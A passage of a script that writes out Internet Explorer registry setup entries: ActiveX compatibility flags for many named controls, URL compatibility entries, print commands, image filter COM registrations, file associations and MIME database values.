FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_SurroundVideo%"", ""Compatibility Flags"",%REG_COMPAT%,0x40")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_SheridanCommand%"", ""Compatibility Flags"",%REG_COMPAT%,0x2000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_MCSITree%"", ""Compatibility Flags"",%REG_COMPAT%,0x820")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_MSTreeView%"", ""Compatibility Flags"",%REG_COMPAT%,0x20")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_Acrobat%"", ""Compatibility Flags"",%REG_COMPAT%,0x8008")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_MSInvestor%"", ""Compatibility Flags"",%REG_COMPAT%,0x10")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_PowerPointAnimator%"", ""Compatibility Flags"",%REG_COMPAT%,0x240")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_PowerPointAnimator%"", ""MiscStatus Flags"",%REG_COMPAT%,0x180")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_NCompassBillboard%"", ""Compatibility Flags"",%REG_COMPAT%,0x4000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_NCompassLightboard%"", ""Compatibility Flags"",%REG_COMPAT%,0x4000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_ProtoviewTreeView%"", ""Compatibility Flags"",%REG_COMPAT%,0x4000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_ActiveEarthTime%"", ""Compatibility Flags"",%REG_COMPAT%,0x4000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_LeadControl%"", ""Compatibility Flags"",%REG_COMPAT%,0x4000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_TextX%"", ""Compatibility Flags"",%REG_COMPAT%,0x2000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_IISForm%"", ""Compatibility Flags"",%REG_COMPAT%,0x2")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_GreetingsUpload%"", ""Compatibility Flags"",%REG_COMPAT%,0x20")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_GreetingsDownload%"", ""Compatibility Flags"",%REG_COMPAT%,0x20")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_COMCTLTree%"", ""Compatibility Flags"",%REG_COMPAT%,0x820")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_COMCTLProg%"", ""Compatibility Flags"",%REG_COMPAT%,0x820")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_COMCTLListview%"", ""Compatibility Flags"",%REG_COMPAT%,0x820")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_COMCTLImageList%"", ""Compatibility Flags"",%REG_COMPAT%,0x820")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_COMCTLSbar%"", ""Compatibility Flags"",%REG_COMPAT%,0x820")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_MCSIMenu%"", ""Compatibility Flags"",%REG_COMPAT%,0x20")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_MSNVer%"", ""Compatibility Flags"",%REG_COMPAT%,0x20")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_RichTextCtrl%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_IETimer%"", ""Compatibility Flags"",%REG_COMPAT%,0x20")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_SubScr%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_Scriptlet%"", ""Compatibility Flags"",%REG_COMPAT%,0x20")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_OldXsl%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_MMC%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_IE4ShellFolderIcon%"", ""Compatibility Flags"",%REG_COMPAT%,0x20000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_IE4ShellPieChart%"", ""Compatibility Flags"",%REG_COMPAT%,0x20000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_RealAudio%"", ""Compatibility Flags"",%REG_COMPAT%,0x10000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_WebCalc%"", ""Compatibility Flags"",%REG_COMPAT%,0x40000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_AnswerList%"", ""Compatibility Flags"",%REG_COMPAT%,0x80000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_PreLoader%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_EyeDog%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_ImgAdmin%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_ImgThumb%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_HHOpen%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_RegWiz%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_SetupCtl%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_ImgEdit%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_ImgEdit2%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_ImgScan%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_IELabel%"", ""Compatibility Flags"",%REG_COMPAT%,0x40000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_HomePubRender%"", ""Compatibility Flags"",%REG_COMPAT%,0x00100000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_MGIPhotoSuiteBtn%"", ""Compatibility Flags"",%REG_COMPAT%,0x00200000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_MGIPhotoSuiteSlider%"", ""Compatibility Flags"",%REG_COMPAT%,0x00200000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_MGIPrintShopSlider%"", ""Compatibility Flags"",%REG_COMPAT%,0x00200000")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_RunLocExe%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_Launchit2%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\ActiveX Compatibility\%CLSID_MS_MSHTA%"", ""Compatibility Flags"",%REG_COMPAT%,0x400")
FILE.WriteLine("[UrlCompatTable.Reg]")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility"", ""Version"",,""5.1""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility\~/CWIZINTR.HTM"",""Compatibility Flags"",%REG_COMPAT%,0x4")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility\~/CONNWIZ.HTM"",""Compatibility Flags"",%REG_COMPAT%,0x4")
FILE.WriteLine("[UrlCompatTableDel.Reg]")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility\_:/WIN31/ENG/DEMOBIN/START.HTM""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility\_:/WIN31/ENG/DEMOBIN/TOOLBAR.HTM""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility\_:/WIN31/ENG/DEMOBIN/WEL2.HTM""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility\_:/WIN31/ENG/DEMOBIN/WELCOME.HTM""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility\_:/WIN95/ENG/DEMOBIN/CONTBAR.HTM""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility\_:/WIN95/ENG/DEMOBIN/START.HTM""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility\_:/WIN95/ENG/DEMOBIN/TOOLBAR.HTM""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility\_:/WIN95/ENG/DEMOBIN/WELCOME.HTM""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility\_:/WIN95/WEBPAGES/CACHED/CARPOINT/DEFAULT.HTM""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility\_:/WIN31/ENG/DEMOBIN/WEL2.HTM""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility\_:/WIN31/ENG/DEMOBIN/WELCOME.HTM""")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\URL Compatibility\_:/WIN95/ENG/DEMOBIN/WELCOME.HTM""")
FILE.WriteLine("[InetPrint.Reg]")
FILE.WriteLine("HKCR,""InternetShortcut\shell\print\command"",,%REG_EXPAND_SZ%,""rundll32.exe %_SYS_MOD_PATH%,PrintHTML """"%%1""""""")
FILE.WriteLine("HKCR,""InternetShortcut\shell\printto\command"",,%REG_EXPAND_SZ%,""rundll32.exe %_SYS_MOD_PATH%,PrintHTML """"%%1"""" """"%%2"""" """"%%3"""" """"%%4""""""")
FILE.WriteLine("HKCR,""htmlfile\shell\print\command"",,%REG_EXPAND_SZ%,""rundll32.exe %_SYS_MOD_PATH%,PrintHTML """"%%1""""""")
FILE.WriteLine("HKCR,""htmlfile\shell\printto\command"",,%REG_EXPAND_SZ%,""rundll32.exe %_SYS_MOD_PATH%,PrintHTML """"%%1"""" """"%%2"""" """"%%3"""" """"%%4""""""")
FILE.WriteLine("[Misc.Reg]")
FILE.WriteLine("HKLM,""Software\Microsoft\Internet Explorer\Version Vector"", ""IE"",,""6.0000""")
FILE.WriteLine("HKCR,IImgCtx,,,""IImgCtx""")
FILE.WriteLine("HKCR,IImgCtx\CLSID,,,%CLSID_IImgCtx%")
FILE.WriteLine("HKCR,Scriptlet.Behavior,,,""Element Behavior Handler""")
FILE.WriteLine("HKCR,Scriptlet.Behavior\CLSID,,,%CLSID_CPeerHandler%")
FILE.WriteLine("HKCR,Scriptlet.HiFiTimer,,,""HiFiTimer Uses""")
FILE.WriteLine("HKCR,Scriptlet.HiFiTimer\CLSID,,,%CLSID_CHiFiUses%")
FILE.WriteLine("HKCR,Scriptlet.SvrOm,,,""Server OM Uses""")
FILE.WriteLine("HKCR,Scriptlet.SvrOm\CLSID,,,%CLSID_CSvrOMUses%")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%,,,""CoGIFFilter Class""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\InProcServer32,,,%_MOD_PATH%")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\ProgID,,,""GIFFilter.CoGIFFilter.1""")
FILE.WriteLine("HKCR,GIFFilter.CoGIFFilter,,,""CoGIFFilter Class""")
FILE.WriteLine("HKCR,GIFFilter.CoGIFFilter\CLSID,,,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("HKCR,GIFFilter.CoGIFFilter.1,,,""CoGIFFilter Class""")
FILE.WriteLine("HKCR,GIFFilter.CoGIFFilter.1\CLSID,,,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%,,,""CoJPEGFilter Class""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\InProcServer32,,,%_MOD_PATH%")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\ProgID,,,""JPEGFilter.CoJPEGFilter.1""")
FILE.WriteLine("HKCR,JPEGFilter.CoJPEGFilter,,,""CoJPEGFilter Class""")
FILE.WriteLine("HKCR,JPEGFilter.CoJPEGFilter\CLSID,,,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("HKCR,JPEGFilter.CoJPEGFilter.1,,,""CoJPEGFilter Class""")
FILE.WriteLine("HKCR,JPEGFilter.CoJPEGFilter.1\CLSID,,,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%,,,""CoBMPFilter Class""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\InProcServer32,,,%_MOD_PATH%")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\ProgID,,,""BMPFilter.CoBMPFilter.1""")
FILE.WriteLine("HKCR,BMPFilter.CoBMPFilter,,,""CoBMPFilter Class""")
FILE.WriteLine("HKCR,BMPFilter.CoBMPFilter\CLSID,,,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("HKCR,BMPFilter.CoBMPFilter.1,,,""CoBMPFilter Class""")
FILE.WriteLine("HKCR,BMPFilter.CoBMPFilter.1\CLSID,,,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%,,,""CoWMFFilter Class""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\InProcServer32,,,%_MOD_PATH%")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\ProgID,,,""WMFFilter.CoWMFFilter.1""")
FILE.WriteLine("HKCR,WMFFilter.CoWMFFilter,,,""CoWMFFilter Class""")
FILE.WriteLine("HKCR,WMFFilter.CoWMFFilter\CLSID,,,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("HKCR,WMFFilter.CoWMFFilter.1,,,""CoWMFFilter Class""")
FILE.WriteLine("HKCR,WMFFilter.CoWMFFilter.1\CLSID,,,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%,,,""CoICOFilter Class""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\InProcServer32,,,%_MOD_PATH%")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\InProcServer32,""ThreadingModel"",,""Apartment""")
FILE.WriteLine("HKCR,CLSID\%CLSID_IImageDecodeFilter%\ProgID,,,""ICOFilter.CoICOFilter.1""")
FILE.WriteLine("HKCR,ICOFilter.CoICOFilter,,,""CoICOFilter Class""")
FILE.WriteLine("HKCR,ICOFilter.CoICOFilter\CLSID,,,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("HKCR,ICOFilter.CoICOFilter.1,,,""CoICOFilter Class""")
FILE.WriteLine("HKCR,ICOFilter.CoICOFilter.1\CLSID,,,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("[FileAssoc.Inst]")
FILE.WriteLine("HKCR,"".bmp"",""Content Type"",,""image/bmp""")
FILE.WriteLine("HKCR,"".css"",""Content Type"",,""text/css""")
FILE.WriteLine("HKCR,"".htc"",""Content Type"",,""text/x-component""")
FILE.WriteLine("HKCR,"".dib"",""Content Type"",,""image/bmp""")
FILE.WriteLine("HKCR,""htmlfile"",,,""HTML Document""")
FILE.WriteLine("HKCR,""htmlfile\BrowseInPlace"",,,""""")
FILE.WriteLine("HKCR,""htmlfile\CLSID"",,,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""ScriptBridge.ScriptBridge"",,,""Microsoft Scriptlet Component""")
FILE.WriteLine("HKCR,""ScriptBridge.ScriptBridge\CurVer"",,,""ScriptBridge.ScriptBridge.1""")
FILE.WriteLine("HKCR,""ScriptBridge.ScriptBridge.1"",,,""Microsoft Scriptlet Component""")
FILE.WriteLine("HKCR,""ScriptBridge.ScriptBridge.1\CLSID"",,,""%CLSID_Scriptlet%""")
FILE.WriteLine("HKCR,""htmlfile_FullWindowEmbed"",,,""HTML Plugin Document""")
FILE.WriteLine("HKCR,""htmlfile_FullWindowEmbed\BrowseInPlace"",,,""""")
FILE.WriteLine("HKCR,""htmlfile_FullWindowEmbed\CLSID"",,,""%CLSID_HTMLPluginDocument%""")
FILE.WriteLine("HKCR,"".mhtml"",,,""mhtmlfile""")
FILE.WriteLine("HKCR,"".mhtml"",""Content Type"",,""message/rfc822""")
FILE.WriteLine("HKCR,"".mht"",,,""mhtmlfile""")
FILE.WriteLine("HKCR,"".mht"",""Content Type"",,""message/rfc822""")
FILE.WriteLine("HKCR,""mhtmlfile"",,,""MHTML Document""")
FILE.WriteLine("HKCR,""mhtmlfile\BrowseInPlace"",,,""""")
FILE.WriteLine("HKCR,""mhtmlfile\CLSID"",,,""%CLSID_MHTMLDocument%""")
FILE.WriteLine("HKCR,"".txt"",""Content Type"",,""text/plain""")
FILE.WriteLine("HKCR,"".ico"",""Content Type"",,""image/x-icon""")
FILE.WriteLine("HKCR,""htmlfile\DefaultIcon"",,%REG_EXPAND_SZ%,""%IEXPLORE%,1""")
FILE.WriteLine("[GIF.Inst]")
FILE.WriteLine("HKCR,"".gif"",,,""giffile""")
FILE.WriteLine("HKCR,"".gif"",""Content Type"",,""image/gif""")
FILE.WriteLine("HKCR,""giffile"",,,""%GIF_IMAGE%""")
FILE.WriteLine("HKCR,""giffile\CLSID"",,,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""giffile\shell\open\command"",,,""""""%IEXPLORE%"""" -nohome""")
FILE.WriteLine("HKCR,""giffile\shell\open\ddeexec"",,,""""""file:%%1"""",,-1,,,,,""")
FILE.WriteLine("HKCR,""giffile\shell\open\ddeexec\Application"",,,""IExplore""")
FILE.WriteLine("HKCR,""giffile\shell\open\ddeexec\Topic"",,,""WWW_OpenURL""")
FILE.WriteLine("HKCR,""giffile\DefaultIcon"",,,""%IEXPLORE%,9""")
FILE.WriteLine("[PJPG.Inst]")
FILE.WriteLine("HKCR,"".jfif"",,,""pjpegfile""")
FILE.WriteLine("HKCR,"".jfif"",""Content Type"",,""image/pjpeg""")
FILE.WriteLine("HKCR,""pjpegfile"",,,""%JPEG_IMAGE%""")
FILE.WriteLine("HKCR,""pjpegfile\CLSID"",,,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""pjpegfile\shell\open\command"",,,""""""%IEXPLORE%"""" -nohome""")
FILE.WriteLine("HKCR,""pjpegfile\shell\open\ddeexec"",,,""""""file:%%1"""",,-1,,,,,""")
FILE.WriteLine("HKCR,""pjpegfile\shell\open\ddeexec\Application"",,,""IExplore""")
FILE.WriteLine("HKCR,""pjpegfile\shell\open\ddeexec\Topic"",,,""WWW_OpenURL""")
FILE.WriteLine("HKCR,""pjpegfile\DefaultIcon"",,,""%IEXPLORE%,8""")
FILE.WriteLine("[XBM.Inst]")
FILE.WriteLine("HKCR,"".xbm"",""Content Type"",,""image/x-xbitmap""")
FILE.WriteLine("HKCR,""xbmfile"",,,""%XBM_IMAGE%""")
FILE.WriteLine("HKCR,""xbmfile\CLSID"",,,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""xbmfile\shell\open\command"",,,""""""%IEXPLORE%"""" -nohome""")
FILE.WriteLine("HKCR,""xbmfile\shell\open\ddeexec"",,,""""""file:%%1"""",,-1,,,,,""")
FILE.WriteLine("HKCR,""xbmfile\shell\open\ddeexec\Application"",,,""IExplore""")
FILE.WriteLine("HKCR,""xbmfile\shell\open\ddeexec\Topic"",,,""WWW_OpenURL""")
FILE.WriteLine("HKCR,""xbmfile\DefaultIcon"",,,""%IEXPLORE%,9""")
FILE.WriteLine("[JPEG.Inst]")
FILE.WriteLine("HKCR,"".jpeg"",,,""jpegfile""")
FILE.WriteLine("HKCR,"".jpeg"",""Content Type"",,""image/jpeg""")
FILE.WriteLine("HKCR,""jpegfile"",,,""%JPEG_IMAGE%""")
FILE.WriteLine("HKCR,""jpegfile\CLSID"",,,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""jpegfile\shell\open\command"",,,""""""%IEXPLORE%"""" -nohome""")
FILE.WriteLine("HKCR,""jpegfile\shell\open\ddeexec"",,,""""""file:%%1"""",,-1,,,,,""")
FILE.WriteLine("HKCR,""jpegfile\shell\open\ddeexec\Application"",,,""IExplore""")
FILE.WriteLine("HKCR,""jpegfile\shell\open\ddeexec\Topic"",,,""WWW_OpenURL""")
FILE.WriteLine("HKCR,""jpegfile\DefaultIcon"",,,""%IEXPLORE%,8""")
FILE.WriteLine("[JPE.Inst]")
FILE.WriteLine("HKCR,"".jpe"",,,""jpegfile""")
FILE.WriteLine("HKCR,"".jpe"",""Content Type"",,""image/jpeg""")
FILE.WriteLine("HKCR,""jpegfile"",,,""%JPEG_IMAGE%""")
FILE.WriteLine("HKCR,""jpegfile\CLSID"",,,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""jpegfile\shell\open\command"",,,""""""%IEXPLORE%"""" -nohome""")
FILE.WriteLine("HKCR,""jpegfile\shell\open\ddeexec"",,,""""""file:%%1"""",,-1,,,,,""")
FILE.WriteLine("HKCR,""jpegfile\shell\open\ddeexec\Application"",,,""IExplore""")
FILE.WriteLine("HKCR,""jpegfile\shell\open\ddeexec\Topic"",,,""WWW_OpenURL""")
FILE.WriteLine("HKCR,""jpegfile\DefaultIcon"",,,""%IEXPLORE%,8""")
FILE.WriteLine("[JPG.Inst]")
FILE.WriteLine("HKCR,"".jpg"",,,""jpegfile""")
FILE.WriteLine("HKCR,"".jpg"",""Content Type"",,""image/jpeg""")
FILE.WriteLine("HKCR,""jpegfile"",,,""%JPEG_IMAGE%""")
FILE.WriteLine("HKCR,""jpegfile\CLSID"",,,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""jpegfile\shell\open\command"",,,""""""%IEXPLORE%"""" -nohome""")
FILE.WriteLine("HKCR,""jpegfile\shell\open\ddeexec"",,,""""""file:%%1"""",,-1,,,,,""")
FILE.WriteLine("HKCR,""jpegfile\shell\open\ddeexec\Application"",,,""IExplore""")
FILE.WriteLine("HKCR,""jpegfile\shell\open\ddeexec\Topic"",,,""WWW_OpenURL""")
FILE.WriteLine("HKCR,""jpegfile\DefaultIcon"",,,""%IEXPLORE%,8""")
FILE.WriteLine("[PNG.Inst]")
FILE.WriteLine("HKCR,"".png"",,,""pngfile""")
FILE.WriteLine("HKCR,"".png"",""Content Type"",,""image/png""")
FILE.WriteLine("HKCR,""pngfile"",,,""%PNG_IMAGE%""")
FILE.WriteLine("HKCR,""pngfile\CLSID"",,,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""pngfile\shell\open\command"",,,""""""%IEXPLORE%"""" -nohome""")
FILE.WriteLine("HKCR,""pngfile\shell\open\ddeexec"",,,""""""file:%%1"""",,-1,,,,,""")
FILE.WriteLine("HKCR,""pngfile\shell\open\ddeexec\Application"",,,""IExplore""")
FILE.WriteLine("HKCR,""pngfile\shell\open\ddeexec\Topic"",,,""WWW_OpenURL""")
FILE.WriteLine("HKCR,""pngfile\DefaultIcon"",,,""%IEXPLORE%,9""")
FILE.WriteLine("[MIME.Inst]")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/bmp"",""Extension"",,"".bmp""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/bmp"",""Image Filter CLSID"",,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/bmp\Bits"",""0"",1,02,00,00,00,FF,FF,42,4D")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/gif"",""CLSID"",,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/gif"",""Extension"",,"".gif""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/gif"",""Image Filter CLSID"",,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/gif\Bits"",""0"",1,04,00,00,00,FF,FF,FF,FF,47,49,46,38")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/jpeg"",""CLSID"",,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/jpeg"",""Extension"",,"".jpg""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/jpeg\Bits"",""0"",1,02,00,00,00,FF,FF,FF,D8")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/jpeg"",""Image Filter CLSID"",,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/pjpeg"",""CLSID"",,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/pjpeg"",""Extension"",,"".jpg""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/pjpeg\Bits"",""0"",1,02,00,00,00,FF,FF,FF,D8")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/pjpeg"",""Image Filter CLSID"",,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/xbm"",""Extension"",,"".xbm""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/x-jg"",""CLSID"",,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/x-xbitmap"",""CLSID"",,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/x-xbitmap"",""Extension"",,"".xbm""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/x-wmf"",""Image Filter CLSID"",,%CLSID_IImageDecodeFilter%")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/x-wmf\Bits"",""0"",1,04,00,00,00,FF,FF,FF,FF,D7,CD,C6,9A")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\message/rfc822"",""CLSID"",,""%CLSID_MHTMLDocument%""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/png"",""Extension"",,"".png""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\image/x-png"",""Extension"",,"".png""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\text/css"",""Extension"",,"".css""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\text/html"",""CLSID"",,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\text/html"",""Extension"",,"".htm""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\text/html"",""Encoding"",1,08,00,00,00")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\text/plain"",""CLSID"",,""%CLSID_HTMLDocument%""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\text/plain"",""Extension"",,"".txt""")
FILE.WriteLine("HKCR,""MIME\Database\Content Type\text/plain"",""Encoding"",1,07,00,00,00")
